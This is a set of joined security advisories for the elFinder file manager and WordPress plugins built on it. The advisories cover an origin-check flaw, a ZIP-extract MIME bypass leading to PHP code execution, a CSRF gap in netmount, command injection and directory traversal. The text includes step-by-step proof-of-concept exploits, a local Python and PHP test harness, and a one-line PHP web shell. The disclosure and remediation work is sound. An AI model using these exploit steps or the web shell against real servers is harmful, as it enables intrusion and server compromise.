The File Manager WordPress plugin before 8.0.5, FileOrganizer WordPress plugin before 1.2.1, File Manager Pro WordPress plugin before 2.1.3 do not correctly validate the origin of window messages received by the file browser they load on their admin screens, accepting any origin that is a leading string prefix of the site's own address, which allows an unauthenticated attacker to run arbitrary JavaScript in the session of a logged-in administrator who visits a page under their control.
The defect is in the file-manager library all three bundle, and every version below 2.1.70 carries it. Updating the bundled library closes it.
Summary
elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.
---
Details
elFinder's MIME validation pipeline for direct uploads (upload command) is:
mimetype() └─ mimetypeInternalDetect() // stage 1: extension → MIME via mime.types └─ mimeTypeNormalize() // stage 2: apply staticMimeMap phtml: → text/x-php phar: → text/x-php php5: → text/x-php └─ allowPutMime() // blocked: text/x-php ∈ uploadDeny
The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:
php // line 7110 — stage 2 (mimeTypeNormalize) is never called if ($chkMime && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)) && !$this->allowPutMime($mimeByName)) {
Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml: → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.
Affected extensions confirmed: .phtml, .phar, .php5, .php3 Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)
---
PoC
Requirements: - elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or modphp) - Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip - files/ directory served under a public web path
Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button. Select hello.phtml (content: <?php phpinfo(); ?>). → Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)" <img width="1061" height="408" alt="1" src="https://github.com/user-attachments/assets/22f833d9-7d2a-4197-85c2-3b0eb19ecfbc" />
Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml. Upload bypass.zip via the Upload button. → ZIP is accepted (MIME: application/zip ∈ uploadAllow). <img width="886" height="320" alt="2" src="https://github.com/user-attachments/assets/30c3498f-91f4-45cf-8c2b-cc806716e3a4" />
Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files. → hello.phtml appears in the file list without any error. → File is now present at {filesdir}/hello.phtml on the server. <img width="1123" height="792" alt="3" src="https://github.com/user-attachments/assets/49e7db8e-566c-4653-a57f-e80fb31ea61d" />
Step 4 — Execute the extracted PHP file
Navigate to: http://<target>/elFinder/files/hello.phtml → Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.
--- <img width="1059" height="739" alt="4" src="https://github.com/user-attachments/assets/ad85fdf7-bdc7-4514-bdec-e45cfb2e2bd3" />
Impact
Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.
Concrete impact: - Arbitrary PHP code execution on the web server - Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables) - Potential access to server filesystem, database credentials, and internal network services - Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($GET['cmd']); ?>)
Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3
Recommended fix:
Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:
php // elFinderVolumeDriver.class.php, line 7110 // Before (vulnerable): $mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)
// After (fixed): $mimeByName = $this->mimeTypeNormalize( elFinderVolumeDriver::mimetypeInternalDetect($name), $name, pathinfo($name, PATHINFOEXTENSION) )
---
---
Summary The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.
This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.
Details The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.
netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.
The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:
php // // Enable FTP connector netmount elFinder::$netDrivers['ftp'] = 'FTP';
The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftpconnect() / ftpsslconnect(), ftplogin(), ftpraw(), ftpchdir(), ftppwd(), ftppasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.
False-positive checks performed:
- mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate. - netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response. - The fake FTP server observed an inbound connection and FTP command sequence from the PHP process. - No custom application authentication, external service, public infrastructure, or destructive action was used. - Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.
Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.
PoC The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.
1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:
sh mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP' <?php errorreporting(EALL); require '/path/to/elFinder/php/autoload.php';
elFinder::$netDrivers['ftp'] = 'FTP';
function access($attr, $path, $data, $volume, $isDir, $relpath) { $basename = basename($path); return $basename[0] === '.' && strlen($relpath) !== 1 ? !($attr == 'read' || $attr == 'write') : null; }
$opts = array( 'roots' => array( array( 'driver' => 'LocalFileSystem', 'path' => DIR . '/files/', 'URL' => '/files/', 'trashHash' => 't1Lw', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), array( 'id' => '1', 'driver' => 'Trash', 'path' => DIR . '/files/.trash/', 'tmbURL' => '/files/.trash/.tmb/', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), ) );
$connector = new elFinderConnector(new elFinder($opts)); $connector->run(); PHP
2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fakeftp.py:
python #!/usr/bin/env python3 import socket, sys HOST = '127.0.0.1' PORT = int(sys.argv[1]) LOG = sys.argv[2] def log(line): with open(LOG, 'a', encoding='utf-8') as f: f.write(line + '\n') with socket.socket(socket.AFINET, socket.SOCKSTREAM) as s: s.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) log(f'LISTEN {HOST}:{PORT}') while True: conn, addr = s.accept() with conn: log(f'CONNECT {addr[0]}:{addr[1]}') conn.sendall(b'220 fake ftp ready\r\n') while True: data = b'' while not data.endswith(b'\n'): chunk = conn.recv(1) if not chunk: log('CLOSE') break data += chunk if not data: break line = data.decode('latin-1', errors='replace').strip() log('CMD ' + line) cmd = line.split(' ', 1)[0].upper() if cmd == 'USER': conn.sendall(b'331 password required\r\n') elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n') elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n') elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n') elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n') elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n') elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type;size;modify;perm;\r\n211 End\r\n') elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n') elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n') elif cmd == 'QUIT': conn.sendall(b'221 bye\r\n') break else: conn.sendall(b'200 ok\r\n')
3. Start the local services:
sh php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www python3 /tmp/elfinder-csrf-poc-claude/fakeftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log
4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:
python import json, urllib.parse, urllib.request, urllib.error, http.cookiejar base = 'http://127.0.0.1:8765/connector.php' log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log' open(log, 'w', encoding='utf-8').close() cj = http.cookiejar.CookieJar() opener = urllib.request.buildopener(urllib.request.HTTPCookieProcessor(cj)) def request(params, timeout=12): url = base + '?' + urllib.parse.urlencode(params) try: with opener.open(url, timeout=timeout) as resp: return resp.status, resp.read().decode('utf-8', errors='replace') except urllib.error.HTTPError as e: return e.code, e.read().decode('utf-8', errors='replace') status, body = request({'cmd':'open','init':'1','target':'l1Lw'}) opened = json.loads(body) target = opened.get('cwd', {}).get('hash', 'l1Lw') print('OPENSTATUS=' + str(status)) print('OPENHASCSRF=' + str('"csrf"' in body)) status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'}) print('CONTROLMKDIRWITHOUTCSRFSTATUS=' + str(status)) print('CONTROLMKDIRWITHOUTCSRFBODY=' + body.replace('\n', ' ')[:160]) status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''}) print('NETMOUNTWITHOUTCSRFSTATUS=' + str(status)) print('NETMOUNTWITHOUTCSRFHASADDED=' + str('"added"' in body)) print('NETMOUNTWITHOUTCSRFBODY=' + body.replace('\n', ' ')[:260]) print('FTPLOG=') print(open(log, encoding='utf-8', errors='replace').read().strip())
Observed output from the final local re-run in this environment:
text OPENSTATUS=200 OPENHASCSRF=True CONTROLMKDIRWITHOUTCSRFSTATUS=403 CONTROLMKDIRWITHOUTCSRFBODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true} NETMOUNTWITHOUTCSRFSTATUS=200 NETMOUNTWITHOUTCSRFHASADDED=True NETMOUNTWITHOUTCSRFBODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1, FTPLOG= CONNECT 127.0.0.1:37496 CMD USER anonymous CMD PASS CMD OPTS UTF8 ON CMD HELP CMD epsv4 off CMD PASV CMD CWD / CMD PWD CMD FEAT CMD MLST / CLOSE
The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.
Cleanup:
sh Stop the two local server processes, then remove the disposable harness. rm -rf /tmp/elfinder-csrf-poc-claude
Impact An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:
- force the victim's elFinder session to persist an attacker-chosen FTP network volume; - cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port; - send attacker-supplied FTP username/password values to that endpoint; and - expose the victim's later file-manager UI to the mounted remote volume.
The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.
The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.
Suggested remediation Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.
Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.
Suggested regression tests:
- A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener. - The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users. - protocol=netunmount should also reject missing/invalid CSRF tokens.
Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.67, elFinder contains a command injection vulnerability in the resize command. The bg (background color) parameter is accepted from user input and passed through image resize/rotate processing. In configurations that use the ImageMagick CLI backend, this value is incorporated into shell command strings without sufficient escaping. An attacker able to invoke the resize command with a crafted bg value may achieve arbitrary command execution as the web server process user. This vulnerability is fixed in 2.1.67.
Several WordPress plugins using elFinder versions 2.1.64 and prior are vulnerable to Directory Traversal in various versions. This makes it possible for unauthenticated attackers to delete arbitrary files. Successful exploitation of this vulnerability requires a site owner to explicitly make an instance of the file manager available to users.